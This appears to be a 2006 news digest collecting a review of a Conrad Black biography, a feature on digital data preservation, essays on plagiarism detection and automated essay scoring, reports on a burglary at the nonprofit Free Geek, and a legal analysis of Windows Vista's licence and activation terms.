436 pp. HarperCollins. $26.95.

Tom Bower’s “Outrageous Fortune” has a different title in Britain. There, the corporate finaglings of Conrad Black, the Canadian-born newspaper tycoon who controlled The Chicago Sun-Times, The Jerusalem Post and The Daily Telegraph in London (not to mention The Journal of the San Juan Islands and The Skagit Valley Argus) are better known. Lord Black has achieved household notoriety. So the British version is more lip-smackingly familiar. It is called “Conrad and Lady Black: Dancing on the Edge.”

Far better than either of these titles would have been “Schadenfreude” — not only because it aptly summarizes the drooling glee prompted by the Blacks’ comedown, but also because of Lord Black’s well-documented fondness for showily eloquent words. In describing the first of his several school expulsions, this one for selling final exams to fellow students at a Toronto private school when he was 14, he called the principal’s wife a “desiccated old sorceress” and the principal an “insufferable poltroon.”

He would go on to better invective and far worse transgressions. “Outrageous Fortune” is a hastily disgorged, shapeless account of Lord Black’s apparent shell-game approach to corporate management and surreptitious fee extraction. These techniques have culminated in disgrace, eight counts of fraud and an American trial scheduled to begin in Chicago next year. Throughout his comedown, Lord Black has adhered to the time-honored technique of loudly proclaiming his innocence despite spectacular evidence to the contrary.

As a business book, “Outrageous Fortune” is convoluted but sketchy. Mr. Bower does a better job of providing an overview (“no other public company would have found itself in the absurd position of its chairman taking money from the company and then lending the same money back through his own private company”) than of offering specific information. He favors generalities and neglects to cite sources for much of the material here. The blanket claim that he has drawn on earlier biographical and autobiographical books about Lord Black does not justify such oversights.

While Mr. Bower leaves little doubt about the degree to which Black-controlled companies, including Hollinger International, Hollinger Inc. and Ravelston, were manipulated to serve one another’s interests, his details lack precision. And these matters call for an accountant’s skills as much as a muckraker’s. But the book’s assertion that in the year 2000 alone Black associates extracted $122 million from a company with a net income of $117 million is supported by investigatory evidence uncovered by a hard-charging analyst from the investment fund Tweedy Browne. And its implications regarding the Blacks’ cupidity are nothing if not clear.

“Outrageous Fortune” seeks to mix tales of fiscal chicanery with its own brand of money-mongering, in a tone that weakly mimics the fawning of glossy magazines. About the Palm Beach set that the Blacks were eager to infiltrate, Mr. Bower writes: “Their mansions were imposing, their manicured lawns dazzling and their undisguised wealth awesome.”

But this book shows precious little flair for the kind of potboiling prose on which whole shameless writing careers are based. Its descriptions of the high life are unintentionally hilarious. (“Gladly he satisfied her craving for cashmere sweaters, her enjoyment of expensive trips and, at the weekends, her desire to smoke pot and win at Monopoly.”)

Ditto Mr. Bower’s clumsy malice about Lady Black’s stilettos. “On the day Conrad Black and Barbara Amiel secretly agreed to marry,” he writes, “she celebrated at Manolo Blahnik by choosing pairs of the world’s most expensive shoes, as usual with high heels to minimize her big feet.”

Clearly Ms. Amiel is meant to be this flat-footed book’s secret weapon. Though it concentrates primarily on financial scheming, it counts on the Black-Amiel union to provide glamour. The couple cattily known as Mr. Money and Attila the Honey are described in the full flower of wretched excess, and this part of the book is given the predictable “Macbeth” spin. Since Mr. Bower regards Tom Wolfe as an earnest chronicler of the lives of rich socialites, his own denseness about these people is guaranteed.

Ms. Amiel, once the author of an article called “Why Women Marry Up” and later an outspoken right-wing pundit employed by her husband’s publications, is said to have made declarations like, “I’m never going to a public cinema again” and to have demanded ever-larger private airplanes. She is said to have once been mortified by her husband’s saying, “We’ve got to check in” — a clear reference to public air travel — in front of rich friends.

Harp as he does upon Ms. Amiel’s sexual wiles and heavy expenditures, Mr. Bower can’t hang a whole book on her extravagance. Nor does Lord Black’s ambition rivet interest, although it cannot have been easy to make the Blacks sound dull.

But Mr. Bower’s insights into human nature are primitive. (He says that Lord Black, then Mr. Black, married his first wife, a secretary, “to satisfy his need for companionship.”) His phrasing is unfortunate. (“Like cosmetics applied every morning, she relied on her chosen man’s image to project herself.”) And his editor is missing in action. (“Her itinerant search for permanence was doomed.”) Think what you will of Lord Black, but he writes better than his biographer does.

In its hunt for irony “Outrageous Fortune” finds some in the fact that Lord Black will soon be judged by a jury of commoners, those same little people over whom he sought to tower. Here’s more: this book, like several other recent ones published by HarperCollins, makes a sad little sound. When its binding is snapped open, it literally squeaks. That hardly suits a subject whose preferred sound is the self-righteous roar.
http://www.nytimes.com/2006/11/21/books/21masl.html





The Digital Ice Age

The documents of our time are being recorded as bits and bytes with no guarantee of future readability. As technologies change, we may find our files frozen in forgotten formats. Will an entire era of human history be lost?
Brad Reagan

When the aircraft carrier USS Nimitz takes to sea, it carries more than a half-million files with diagrams of the propulsion, electrical and other systems critical to operation. Because this is the 21st century, these are not unwieldy paper scrolls of engineering drawings, but digital files on the ship's computers. The shift to digital technology, which enables Navy engineers anywhere in the world to access the diagrams, makes maintenance and repair more efficient. In theory. Several years ago, the Navy noticed a problem when older files were opened on newer versions of computer-aided design (CAD) software.

"We would open up these drawings and be like, 'Wow, this doesn't look exactly like the drawing did before,'" says Brad Cumming, head of the aircraft carrier planning yard division at Norfolk Navy Shipyard.

The changes were subtle — a dotted line instead of dashes or minor dimension changes — but significant enough to worry the Navy's engineers. Even the tiniest discrepancy might be mission critical on a ship powered by two nuclear reactors and carrying up to 85 aircraft.

The challenge of retrieving digital files isn't an issue just for the U.S. Navy. In fact, the threat of lost or corrupted data faces anyone who relies on digital media to store documents — and these days, that's practically everyone. Digital information is so simple to create and store, we naturally think it will be easily and accurately preserved for the future. Nothing could be further from the truth. In fact, our digital information — everything from photos of loved ones to diagrams of Navy ships — is at risk of degrading, becoming unreadable or disappearing altogether.

The problem is both immediately apparent and invisible to the average citizen. It crops up when our hard drive crashes, or our new computer lacks a floppy disk drive, or our online e-mail service goes out of business and takes our correspondence with it. We consider these types of data loss scenarios as personal catastrophes. Writ large, they are symptomatic of a growing crisis. If the software and hardware we use to create and store information are not inherently trustworthy over time, then everything we build using that information is at risk.

Large government and academic institutions began grappling with the problem of data loss years ago, with little substantive progress to date. Experts in the field agree that if a solution isn't worked out soon, we could end up leaving behind a blank spot in history. "Quite a bit of this period could conceivably be lost," says Jeff Rothenberg, a computer scientist with the Rand Corp. who has studied digital preservation.

Throughout most of our past, preserving information for posterity was mostly a matter of stashing photographs, letters and other documents in a safe place. Personal accounts from the Civil War can still be read today because people took pains to save letters, but how many of the millions of e-mails sent home by U.S. servicemen and servicewomen from the front lines in Iraq will be accessible a century from now?

One irony of the Digital Age is that archiving has become a more complex process than it was in the past. You not only have to save the physical discs, tapes and drives that hold your data, but you also need to make sure those media are compatible with the hardware and software of the future. "Most people haven't recognized that digital stuff is encoded in some format that requires software to render it in a form that humans can perceive," Rothenberg says. "Software that knows how to render those bits becomes obsolete. And it runs on computers that become obsolete."

In 1986, for example, the British Broadcasting Corp. compiled a modern, interactive version of William the Conqueror's Domesday Book, a survey of life in medieval England. More than a million people submitted photographs, written descriptions and video clips for this new "book." It was stored on laser discs — considered indestructible at the time — so future generations of students and scholars could learn about life in the 20th century.

But 15 years later, British officials found the information on the discs was practically inaccessible — not because the discs were corrupted, but because they were no longer compatible with modern computer systems. By contrast, the original Domesday Book, written on parchment in 1086, is still in readable condition in England's National Archives in Kew. (The multimedia version was ultimately salvaged.)

Changing computer standards aren't the only threat to digital data. In 2004, Miami-Dade County announced it had lost almost all the electronic voting records from a 2002 election because of a series of computer crashes — reminding us that many of the failures of digital records — keeping are attributable to everyday equipment failure (see "Preserving Your Data" at right). Additionally, software companies can go out of business, taking their proprietary codes with them. In 2001, the online photo storage site PhotoPoint shut down and hundreds of people lost the digital photos they stored on the site.

But data loss is not always as apparent as a fried hard drive or a disc with no machine to play it. A digital file is just a long string of binary code. Unlike a letter or a photograph, its content is not immediately apparent to the end user. In order to see a photograph that has been saved as a JPEG file or to read a letter composed in a word processing program, we need software that can translate that code for us.

Software applications are updated on average every 18 months to two years, according to the Software and Information Industry Association, and newer versions are not always backward compatible with the previous ones. That could be a problem on the USS Nimitz, just as it could make trouble for you if the file in question held your medical records.

Likewise, law firms find that metadata—data about the data, such as the date when a file was created—are often not transferred accurately when files are copied. For example, magnetic storage media, such as hard drives, allow for a three-part date storage system (created/accessed/modified), whereas the file architecture of optical media, such as CD-Rs, allows for only one date. This presents a difficulty in litigation, when attorneys must build chronologies of key events in a case. "I see this in almost every single case," says Craig Ball, a computer forensics expert who advises law firms. "It's a complex problem at so many levels. We are losing so much."

As Richard Pearce-Moses, past president of the Society of American Archivists, puts it, "We can keep the 0s and 1s alive forever, but can we make sense of them?"

I TRAVELED RECENTLY TO Washington, D.C., to meet with Ken Thibodeau, head of the National Archives' Electronic Records Archive (ERA). The National Archives is charged with the daunting task of preserving all historically relevant documents and materials generated by the federal government—everything from White House e-mails to the storage locations of nuclear waste. Ten years ago, Thibodeau's biggest concern was how to handle the 32 million e-mails sent to the archives by the Clinton administration. And that was just the beginning. The Bush White House is expected to produce 100 million e-mails by 2008. Thibodeau long ago realized that simply copying the data to magnetic tapes—the archives' previous means of storing electronic records—was not going to work in the Digital Age. It would take years to copy those e-mails to tape, and that was just a trickle compared to the avalanche of more complex digital files that were coming his way.

"The problem is that everything we build, whether it is a highway, tunnel, ship or airplane, is designed using computers," Thibodeau says. "Electronic records are being sent to the archives at 100 times the rate of paper records. We don't know how to prevent the loss of most digital information that's being created today."

The National Archives must not only sort through the tremendous volume of data, it must also find a way to make sense of it. Thibodeau hopes to develop a system that preserves any type of document—created on any application and any computing platform, and delivered on any digital media—for as long as the United States remains a republic. Complicating matters further, the archive needs to be searchable. When Thibodeau told the head of a government research lab about his mission, the man replied, "Your problem is so big, it's probably stupid to try and solve it."

Last year, the National Archives awarded Lockheed Martin a $308 million contract to develop the system. "We think this is a groundbreaking effort of the Information Age," says Clyde Relick, the project's program director.

To date, the ERA has identified more than 4500 file types that need to be accounted for. Each file type essentially requires an independent solution. What type of information needs to be preserved? How does that information need to be presented?

As a relatively simple example, let's take an e-mail from the head of a regulatory agency. If the correspondence is pure text, it's a straightforward solution. But what if there is an attachment? What type of file is the attachment? If the attachment is a spreadsheet, does the behavior of the spreadsheet need to be retained? In other words, will it be important for future generations to be able to execute the formulas and play with the data?

"That is unlike a challenge we would have with a paper document," Relick says. More complex file formats, such as NASA virtual reality training programs, require more complex solutions. The ERA is working with a number of research partners, including the San Diego Super-computer Center and the National Science Foundation, on some of those more intricate challenges.

Lockheed is building what is primarily a "migration" system, in which files are translated into flexible formats such as XML (extensible markup language), so the files can be accessed by technologies of the future. The idea is to make copies without losing essential characteristics of the data.

Not everyone agrees with Lockheed's approach. Rothenberg, of the Rand Corp., for example, believes an "emulation" strategy would be more appropriate. Emulation allows a modern computer to mimic an older computer so it can run a certain program. Popular emulation programs in use today are those that allow people to take video games made for Sony PlayStation 2 or Microsoft Xbox and play them on PCs.

"It seems to me that migration throws away the original," Rothenberg says. "It doesn't even try to save the original. What you end up with is somebody's idea about what was important about the original."

Relick says the cost and technical effort involved in emulation are not feasible for a project the size of the ERA. In addition, he notes that the archives in their entirety will need to be accessible to anyone with a browser, and emulation becomes more difficult when you have to account for users with an infinite variety of hardware and software.

The goal for the Lockheed team is to have initial operating capability for the ERA in September 2007, but budget cuts may delay the program's search functionality.

The data crisis is by no means limited to the National Archives, or to branches of the military. The Library of Congress is in the midst of its own preservation project, and many universities are scrambling to build systems that capture and retain valuable academic research.

But the programs in development for government and academia won't help find the lost e-mail of an individual computer user. Some experts believe that this is the result of simple market forces: Consumers have shown little interest in digital preservation, and corporations are in the business of meeting consumer demand. Others say corporations are only concerned with selling more new products.

"Their interest, it seems to me, is creating incompatibilities over time, not compatibilities," Rothenberg says. "Looking at it cynically, they have very little motivation to burden themselves with compatibility because doing so only allows their customers to avoid upgrading."

Nevertheless, there have been encouraging developments. In late 2005, Microsoft announced it was opening the file formats of its Office suite, including Word and Excel, to competitors in order to get Office certified as an international standard. By ceding proprietary control of the formats to third-party developers, Microsoft greatly increases the odds that those formats will be accessible for future generations.

Meanwhile, the International Organization for Standardization recently certified a modified version of Adobe Systems' popular Portable Document Format (PDF) specifically for long-term archiving. It's called PDF/A. In essence, PDF/A preserves everything contained in a document that can be printed while excluding features that may be useful in the short term but problematic in the long term. For example, the new format does not allow embedded links to external applications, which could become obsolete, and it doesn't allow for passwords, which can be lost or forgotten. "It is all about creating a reliable presentation down the road," says Melonie Warfel, director of worldwide standards for Adobe, who worked on the project. Adobe is also working on archiving standards for engineering documents and digital images.

IF HISTORY IS A GUIDE—and that, after all, is the point of preserving history—we know the future will offer the means to manipulate digital information in ways we cannot yet imagine. The trick is to keep moving forward without leaving too much behind.

"It goes beyond this notion of 'important records'—it goes to the things that are important to us," says Warfel, the mother of two children. "My mom had shoeboxes full of photographs, but we don't do that anymore. I have hard drives full of photographs." PM

Preserving Your Data

>>There is no magic machine that will make your files last forever. But these simple strategies can help.

Make a bombproof backup. The easiest way to lose data is through hardware failure. To protect your files, get a backup drive with enough capacity to hold the contents of your entire computer. Drives such as the One Touch III Turbo from Maxtor (maxtorsolutions.com; $900) can store up to 1 terabyte and be set to back up your PC automatically. Of course, even external drives can be lost in a fire or flood. For extra security, consider an online storage service such as XDrive (xdrive.com) that gives you 50GB of space for about $10 per month.

Go for the gold. Burned CDs and DVDs can begin to degrade after three years. Kodak (kodak.com) and Memorex (memorex.com) make archival discs with a layer of 24-karat gold to prevent oxidation that are designed to last 300 years. Still, it's prudent to check your storage media every few years for data corruption, and to ensure that they're still compatible with modern computers.

Resurrect your data. Companies such as Ontrack Data Recovery (ontrack.com) can salvage information from damaged hard drives. It can be done online or by sending hardware to the lab. For digital cameras, programs such as MediaRecover (mediarecover.com; $30) and eImage Recovery (octanesoft.com; $27) can recover photos that were accidentally deleted.

When in doubt, print it out. Most software formats are proprietary, meaning they could become obsolete if the companies that create them go belly up. For important files, save a copy in a standardized format such as text or JPEG. And remember, a printed copy is sometimes the best form of backup. - B.R.
http://www.popularmechanics.com/tech...y/4201645.html





Dead Plagiarists Society

Will Google Book Search Uncover Long-Buried Literary Crimes?
Paul Collins

Listen to an interview with the author here, or sign up for Slate's free daily podcast on iTunes.

Amir Aczel knew just whom to blame. "It seems," the science author complained last month in an irate letter to the Washington Post, "that [Charles] Seife has submitted every sentence in my book to a Google search." Days earlier in a Post book review, Seife exposed what appeared to be embarrassing plagiarisms in Aczel's new book, The Artist and the Mathematician. But if Seife's discovery that Aczel lifted text from the Guggenheim Museum's Web site was instructive, so was the assumption behind Aczel's response. For any plagiarist living in an age of search engines, waving a loaded book in front of reviewers has become the literary equivalent of suicide by cop.

As it turns out, even authors not living in this online age are in trouble. My fellow literary sleuth Alex MacBride recently revealed to me that he'd uncovered an old crime in a new way. MacBride, a linguist employed by Google, idly ran a phrase from England Howlett's 1899 essay Sacrificial Foundations through Google Book Search, his employer's massive digitization of millions of volumes from university libraries. The search had nothing to do with his job—like the rest of us, sometimes Alex just kills time by plugging stuff into Google—and rather than go to the trouble of digging out Howlett's book by name, he'd decided to call it up with a phrase. To his surprise, he got more back than just Howlett: The search also revealed a suspiciously similar passage in Sabine Baring-Gould's 1892 book Strange Survivals. A lot of suspiciously similar passages.

Perhaps it's not too shocking that a small-time amateur like Howlett swiped from Baring-Gould, a frenetically prolific folklore scholar who published hundreds of books and articles. But, the search results revealed, this was not quite the end of the story. "Charmingly," MacBride e-mails, "Baring-Gould seems to have had sticky fingers himself." The wronged author, you see, had in turn used the unattributed quotation from a still earlier work: Benjamin Thorpe's 1851 study Northern Mythology.

We're talking about forgotten writers here: I don't think there will be too many England Howlett fan clubs grappling with disillusionment today. But MacBride's discovery is the first rumble in what may become a literary earthquake. Given the popularity of plagiarism-seeking software services for academics, it may be only a matter of time before some enterprising scholar yokes Google Book Search and plagiarism-detection software together into a massive literary dragnet, scooping out hundreds of years' worth of plagiarists—giants and forgotten hacks alike—who have all escaped detection until now.

But wait, you might ask, don't people accidentally repeat each other's sentences all the time? It seems to me that this should not be unusual. Yet try plugging that last sentence word by word into Google Book Search, and watch what happens.

It: Rejected—too many hits to count
It seems: 11,160,000 matches
It seems to: 3,050,000
It seems to me: 1,580,000
It seems to me that: 844,000
It seems to me that this: 29,700
It seems to me that this should: 237
It seems to me that this should not: 20
It seems to me that this should not be: 9
It seems to me that this should not be unusual: 0

It seems to me that this should not be unusual is itself ... unusual.

Google Book Search contains hundreds of millions of printed pages, and yet after just a few words, the likelihood of the sentence's replication scales down dramatically. And even before our sentence implodes into utter improbability, there's another telling phenomenon at work. The nine books that contain the penultimate It seems to me that this should not be are from a grab bag of subjects: a 2001 study of Freud, an 1874 collection of Methodist camp sermons, minutes from a 1973 hearing of the Senate subcommittee on transportation. So, if replicating the same sentence alone is suspicious behavior, then to also replicate it on the same subject warrants dialing 911.

Conveniently enough, a few literary greats have already had their mug shots taken. It's long been known that Poe plagiarized his first book, a hack project titled The Conchologist's First Book, and that Herman Melville swiped many technical passages of Moby Dick whole from maritime authors like Henry Cheever. Even more inventively, Lawrence Sterne's immortal diatribe against plagiarism in Tristram Shandy was itself ... plagiarized from Robert Burton's Anatomy of Melancholy. There have always been a dizzying array of ways that authors can rip each other off, even in reverse: Literary critic Terry Eagleton has written entertainingly of "anti-plagiarism," a 19th-century literary wheeze favored by Irish critics, who pounced on poets or novelists for plagiarizing or surreptitiously translating some little-known domestic or foreign work and presenting it under their name. The trick was that the "original" work presented by the prosecuting critic was itself a forgery, written after a new work's publication to frame an enemy.

The most intriguing result of a digital dragnet would be if any deeply idiosyncratic last-person-you'd-guess authors get fingered—Emily Dickinson, anyone? Ben Franklin, perhaps? I'd bet that in the next decade at least one major literary work gets busted. Such thefts don't necessarily end a literary reputation: After all, what Melville did with ordinary maritime literature amounted to an act of lead-to-gold alchemy. But it's invigorating to think that some forgotten authors, long buried and with the dirt tamped down over them by their ruthless rivals, will now get their due. Plagiarism, it seems, will out.
http://www.slate.com/id/2153313/?nav=tap3





Students, Teachers Give High scores to Online Writing Assessments
AP

Students at several Connecticut schools are among a growing number nationwide using new Internet-based programs that analyze their writing and provide instant feedback.

Only about 1.5 million of the nation's almost 50 million public school students have access to the online assessments, but industry officials say the business is growing.

In Connecticut, schools in Bristol, Glastonbury, Windsor, New Fairfield, Killingly and Stonington received state grants last year to try the technology. East Haven also has a pilot program.

The online assessment tools, which are accessed by subscription, analyze a student's writing sample to point out potential problems in organization, grammar, sentence complexity and other issues.

The technology doesn't replace teachers, however, because computers cannot provide subjective feedback on skills such as analysis, creativity and interpretation.

However, many educators say the programs are a helpful tool that offer the kind of individual attention often not available in crowded classrooms.

"Students still need guidance, but the fact that they can get immediate feedback is amazing," said Brooke Unger, who has been piloting the program in East Haven with teacher Christine Bauer.

Many students who use the technology say they like the instant feedback.

"It takes, like, two seconds," said student Robin Squirrell, who attends East Haven High School, which uses a program called My Access from Pennsylvania-based Vantage Learning.

That system and others emulate the process used by human scorers, such as those who grade the essays written each year by students taking the Connecticut Mastery Test.

Today's students are more attuned to technology than students in past years, said Don Knezek, who runs the Washington-based International Society for Technology in Education.

"We know that if they have access to technology, they write more, they revise more. And you have kids getting competitive with the assessment tool," he said. "They take it as a challenge, as a kind of gaming activity."

But the technology isn't getting universal raves. Some critics warn it could squelch creativity, while others worry it might eventually displace teachers.

"It appears to encourage formulaic writing," said Robert Schaeffer of the National Center for Fair and Open Testing, an advocacy group. "It drills the basics and tends to ignore the nuances of good writing."

Cost is also a factor. For instance, Vantage generally charges schools $18 to $24 annually for each student subscription.

"Right now it's cost-prohibitive because it comes down to, 'Should we fix the roof on the elementary school or do we buy this program?'" said Art Skerker, a consultant at the state Department of Education who works on technology issues.

Skerker said he hopes the grant-funded projects in Connecticut will help determine the value of online assessments. Ultimately, he said, the state might make subscriptions available to students and schools through the Connecticut Education Network, a fiber-optic connection that links all districts.
http://hosted.ap.org/dynamic/stories...11-25-10-02-14





Portland FreeGeek Ripped Off
Cory Doctorow

FreeGeek, a Portland, OR nonprofit that fixes up old PCs, turns them into Linux boxen, and gives them away, was robbed this weekend. The thieves took the machines that the FreeGeeks use to organize, test and upgrade the donated PCs, cutting the org off at the knees. They're calling on people to report suspicious sales of used Ubuntu laptops.

Hello, fine people. I'm writing with sad news. Last night, Free Geek, Portland's groovy technology non-profit, sustained its most major break in to date. The majority of the items stolen were laptops, a few hard drives, and LCD screens. Many doors were smashed in forcibly in the process. While our laptop program is becoming a major source of income for us, it also is a great source of needed hardware for local non-profits. This income is now gone, and local do-gooders will have to go without our free source of laptops for a few months.

So we're making a call out to the community to help us stop these thieves and prevent this from happening again. If you're offered a laptop with Ubuntu Linux installed on it in the next couple of months, give us a call at 503-232-9350. Used LCD screens, while harder to pin down as originating at Free Geek, might raise an eyebrow as well.

Thanks for your help!
Link

Update: Steve sez, "We (the Golden Greats) arrived with our gear to be greeted with the bad news, and more bad news: the IPRC (Independent Publishing Resource Center) was hit the previous night! The IPRC supports Portland's zine community, and I fear that they will have a tough time replacing those Macs. I haven't seen any postings or news about the break-in, but given the openness of both organizations, I would suspect the crimes are related."

I toured the IRPC just after the break-in. Spirits were high, but the sight of those empty work-tables was really depressing.
http://www.boingboing.net/2006/11/20...eegeek_ri.html


Free Geek Burglarized
Staff Announcement

Early on the morning of Saturday, November 18, 2006, much of Free Geek's most valuable inventory was stolen from its Southeast Portland facility. The value of the stolen hardware has been estimated to be worth approximately $4,500.

Numerous schools and non-profit organizations served by Free Geek's grants of computer equipment will feel the sting of this loss, along with the numerous volunteers who gain valuable technical experience and earn computer equipment while volunteering at Free Geek.

Free Geek's newly-established Laptop Program, which refurbishes portable computers and provides significant income to fund Free Geek's other operations, took the greatest hit. Laptops and laptop memory were stolen, along with flat panel LCD monitors and high end Apple equipment.

Free Geek takes great care to ensure that any private data stored on donated computers is securely erased as quickly as possible, and is happy to report that after a review of stolen materials, no hard drives with private information were stolen.

Free Geek's friends and neighbors have rallied to its support. If you wish to help this unique non-profit recover from this blow to operations and morale, please consider donating money to help reach our goal of $6,000 by the end of the year. Or if you have old computer equipment (epecially laptop RAM) to unload, send it our way - the sooner the better! - so we can keep doing what we do best. Finally, any tips on used laptops being sold with Ubuntu Linux pre-installed, or with Free Geek's white inventory stickers attached, are much appreciated.

Call (503)232-9350 with any tips.
http://www.freegeek.org/news.php#breakin





Vista's EULA Product Activation Worries

Mark Rasch looks at the license agreement for Windows Vista and how its product activation component, which can disable operation of the computer, may be like walking on thin ice.

The terms of Microsoft’s End User License Agreement (EULA) for its upcoming Vista operating system raises the conflict between two fundamental principles of contract law. The first, and more familiar, is that parties to a contract can generally agree to just about anything, as long as what they agree to doesn’t violate the law and isn’t “unconscionable.” The second principle is that the law generally disfavors the remedy of “self-help.” That is to say that, if there is a violation of the terms of a contract, you usually have to go to court, prove the violation, and then you are entitled to damages or other relief.

The terms of the Vista EULA, like the current EULA related to the “Windows Genuine Advantage,” allows Microsoft to unilaterally decide that you have breached the terms of the agreement, and they can essentially disable the software, and possibly deny you access to critical files on your computer without benefit of proof, hearing, testimony or judicial intervention. In fact, if Microsoft is wrong, and your software is, in fact, properly licensed, you probably will be forced to buy a license to another copy of the operating system from Microsoft just to be able to get access to your files, and then you can sue Microsoft for the original license fee. Even then, you wont be able to get any damages from Microsoft, and may not even be able to get the cost of the first license back.
Product activiation in the Vista license

Suppose you buy a new computer after January 2007, or purchase an early upgrade for one of the various flavors of Vista. The first problem is, you may think you bought a copy of the operating system. Actually, the OS is still owned by Microsoft. You may own a physical DVD, but what you have “bought” is the right to use the software subject to any of the terms and conditions of the End User License Agreement (EULA), which you may or may not have access to at the time you buy the computer or disk. Typically, the EULA will be contained in micro-print on the outside of a DVD, or may be on a splash screen that prompts you to unequivically declare, “I agree..” as a condition precedent to installing or booting the software. Courts have pretty much established that this manner of acquiescence is okay, provided that there is some way for you to get your money back if you don’t agree to the EULA.

The Vista EULA informs the licensee that Vista will automatically send information about the version, language and product key of the software, the user's Internet protocol address of the device, and information derived from the hardware configuration of the device.

The EULA ominously warns that “Before you activate, you have the right to use the version of the software installed during the installation process. Your right to use the software after the time specified in the installation process is limited unless it is activated. This is to prevent its unlicensed use. You will not be able to continue using the software after that time if you do not activate it. ” What does this mean? Essentially, if you buy a license to the software from a reputable dealer, but choose not to transmit information to Microsoft, you forfeit your ability to use the licensed software.

What is interesting is not whether you have the right to use unactivated-but-properly-purchased software, but how Microsoft enforces its right. What Microsoft says is that the software will simply stop working. So, where is the proof that the software is not activated? Who has the burden of proof? What if you assert that you did activate the product, but Microsoft claims you did not? What if you attempt to activate the product, but Microsoft’s servers are down, or they provide improper information, or their servers are hacked and give you bad activation information? What the contract states is that unless you can activate the product (irrespective of whose fault it is that you cannot activate), you forfeit your right to use the product, and therefore access to any of the information on any computers using the product.

The license is also silent on what happens after you fail to activate the product. Is there a mechanism for you to at least open the product to allow you to activate it, or do you get a Blue Screen of Death? Since their objective is to ensure that the product is activated, presumably they will allow you to at least get an Internet connection and take you to an activation screen.

Once you activate the product, then you would assume that you are golden to go ahead and use the product, right? Wrong.

You see, even after you activate the software it will, according to the EULA, “from time to time validate the software, update or require download of the validation feature of the software.” It will once again “send information about the . . . version and product key of the software, and the Internet protocol address of the device.”

Here’s where it gets hairy again. If for some reason the software “phones home” back to Redmond, Washington, and gets or gives the wrong answer - irrespective of the reason - it will automatically disable itself. That's like saying definitively, “I’m sorry Dave, I’m afraid I can’t do that...” Unless you can prove to the satisfaction of some automoton that the software is “Genuine,” or more accurately, that under the relevant copyright laws that you have satisfied the requirements of the copyright laws and all of the terms of the End User License Agreement, the software will, on its own, go into a “protect Microsoft” mode. Besides placing an annoying “Get Genuine” banner on the screen, and limiting your ability to get upgrades, the EULA warns that “you may not be able to use or continue to use some of the features of the software.” The EULA itself does not state which features these are, but the website advises that, unless you can show that you are genuine, you won’t be able to use Windows ReadyBoost(tm), whcih lets users use a removable flash memory device; the Windows Aero(tm) 3D visual experince; or the Windows Defender anti-spyware program.

But the contract doesn’t limit Microsoft to these disabling attributes. It just says that they have the right to limit your ability to use features - pretty much any features they decide to at any date. And guess what. You agreed to it.

EULAs and the legal term “self help”

Now let’s face it: lots of software products contain features that disable themselves upon some condition. For example, trial software will work for a period of time - say 30 days, and then stop. And you agree to that when you download and/or install it. It says so right in the EULA. Spyware contains EULAs where you agree not to disable or delete it. Are you bound by that contract as well? As discussed previously, the answer is not so clear. Sony got into trouble by putting very restrictive EULA terms on its music/data CDs, which gave it a bunch of rights just cause you decided to listen to music - including your agreeing never to listen to the music overseas. As I noted earlier, the terms of an EULA are generally considered to be enforceable even if you didn’t read it, understand it, or have any ability to negotiate it.

However, there is another principle in the law. If a contract (for example, an EULA) is breached, then you have to right to sue and to collect damages. Generally, you would have the burden of proving a breach of the contract, and prove the existence of some damages, and then possibly the right to obtain other kinds or relief - like an injunction or other court order. In addition, other statutes, like the U.S. or international copyright laws may give companies like Microsoft other rights and remedies, including access to federal court and statutory damages, and even possible criminal enforcement by the FBI.

Now if Microsoft breaches the contract it wrote, the Vista EULA, what are your rights? Well, according to the terms of the agreement you agreed to, “you can recover from Microsoft and its suppliers only direct damages up to the amount you paid for the software. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.” So if your entire network is shut down, and access to all your files permanently wiped out, you get your couple of hundred bucks back - at most. And, as far as I can tell, there are no warranties on the license, no assurance (like the kind you would get on a toaster oven or a lamp) that the thing actually works or does any of the things advertised. What is worse, if you just want to get your money back (assuming Microsoft doesn’t want to give it to you) then you have to file a lawsuit (probably in Redmond, Washington) under the laws of Washington State, and if (and only if) you can prove your case, and your damages, can you get your money back. You aren’t entitled to, upon your belief that there was a breach of contract, simply walk up to the cash register at your local Fry’s or Best Buy and take a couple of hundred bucks from the till. This is called “self help” (or theft) and is not generally allowed as a contract remedy.

But the Microsoft Vista EULA, like many other software license agreements, gives the owner of the software (remember that's Microsoft because you didn’t buy it, you just licensed it) the right of self-help. They have the right to unilaterally decide that you didn’t keep up your end of the contract, for example you didn’t properly register the product, you weren’t able to demonstrate that it was genuine, and so on, and therefore they have the right to shut you off or shut you down. So, what gives them the right? Apparently, the very contract that they now claim you violated.
Case law examples of software being disabled after a dispute

In the early days of computers, there were several cases where software developers determined that licensees didn’t make appropriate payments and therefore shut down the computer programs.

In 1988 in Franks & Sons, Inc. v. Information Solutions, Inc. the software developer installed a “drop-dead” code in the program. When the customer failed to pay as promised, the developer activated (or allowed to be activated) the drop-dead code, which kept the customer from accessing the software as well as any stored information. The problem was that the customer didn’t know about the drop dead code. Under those circumstances, the court found that it would be “unconscionable” to allow the software developer to hold the licensee ransom, essentially using self-help to shut down the business until he was paid. The court noted:

Public policy favors the non-enforcement of abhorrent contracts. Here, without the knowledge of Plaintiff, Defendants have included a surprise in their product which chills the functioning of any business whose operation is a slave to the computer. If the Plaintiff had known about this device at the time it entered into the contract with the Defendant then the result would be different. Here it would be unconscionable for the Court to give credence to this economic duress.

However, it wasn’t clear whether the sole problem in that case was the fact that the “drop-dead” software was not disclosed, or that the developer, by using the undisclosed code, was holding the licensee hostage.

In 1991, in American Computer Trust Leasing v. Jack Farrell Implement Co., 763 F. Supp. 1473 (D. Minn. 1991) the software developer, in a dispute over payment for the software, remotely deactivated the software. The contract provided that the developer, who owned the software, could remotely access the licensee’s computer in order to service the software and that if the licensee defaulted, the agreement was cancelled. When the licensee didn’t pay, the developer told them that they were going to deactivate the program - which they promptly did. The licensee’s lawsuit for damages failed because, the court noted, the deactivation was "merely an exercise of [the developer’s] rights under the software license agreement . . . ." This was true even though the agreement did not specifically state that self-help was a proposed remedy.

There were many other cases in the late 80’s and early 90’s involving software developers either putting drop-dead code in their products or remotely disabling code when they thought the other party was in breach. Thus, a Dallas medical device software developer was sued in 1989 (the case was settled) for using a phone line to deactivate software that compiled patients’ lab results. In 1990, during a dispute about the performance of a piece of code, the developer simply logged in and removed the code, until the licensee released the developer from any liability. The licensee claimed that the general release was signed under duress, since he was being held economic hostage. This was Art Stone Theatrical Corp. v. Technical Programming & Support Systems, Inc. 549 N.Y.S.2d 789 (App. Div. 1990).

